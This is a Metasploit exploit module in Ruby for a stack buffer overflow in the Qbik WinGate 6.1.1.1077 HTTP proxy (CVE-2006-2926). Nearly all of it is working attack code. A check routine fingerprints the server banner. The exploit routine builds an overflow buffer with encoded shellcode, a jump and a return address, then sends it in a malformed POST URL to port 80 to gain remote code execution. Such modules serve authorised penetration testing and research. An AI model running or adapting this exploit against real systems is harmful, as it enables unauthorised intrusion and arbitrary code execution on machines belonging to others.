Qbik WinGate WWW Proxy Server URL Processing Overflow

                                                ##
# $Id: qbik_wingate_wwwproxy.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Qbik WinGate version
				6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
				HTTP proxy service on port 80, a remote attacker could overflow
				a buffer and execute arbitrary code.
			},
			'Author'         => 'patrick',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2006-2926' ],
					[ 'OSVDB', '26214' ],
					[ 'BID', '18312' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Jun 07 2006',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def check
		connect
		sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
		banner = sock.get_once
		if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buff = Rex::Text.rand_text_alphanumeric(3000)
		buff[1200, 1000] = payload.encoded # jmp here
		buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
		buff[2284, 4] = [target['Ret']].pack('V') #eip

		sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end